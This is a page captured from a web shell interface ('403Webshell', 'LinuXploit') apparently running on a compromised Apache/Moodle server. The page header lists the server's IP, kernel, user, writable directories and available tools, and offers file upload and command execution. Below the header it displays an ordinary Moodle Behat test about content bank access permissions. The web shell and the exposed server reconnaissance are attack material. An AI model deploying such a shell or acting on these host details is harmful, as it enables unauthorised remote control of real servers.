403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.243
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/nikoocalligraphy-moodle/contentbank/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/nikoocalligraphy-moodle/contentbank/tests/behat/access_permissions.feature
@core @core_contentbank
Feature: Access permission to content Bank
  In order to control access to content bank
  As an admin
  I need to be able to configure users' permissions

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email             |
      | teacher1 | Teacher   | 1        | user1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |

  Scenario: Admins access content bank
    Given I log in as "admin"
    And I am on "Course 1" course homepage
    Then "Content bank" "link" should exist

  Scenario: Editing teachers can access content bank at course level
    Given I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on
    Then "Content bank" "link" should exist

  Scenario: Editing teachers can't access content bank at system level
    Given I log in as "teacher1"
    Then "Content bank" "link" should not exist

Youez - 2016 - github.com/yon3zu
LinuXploit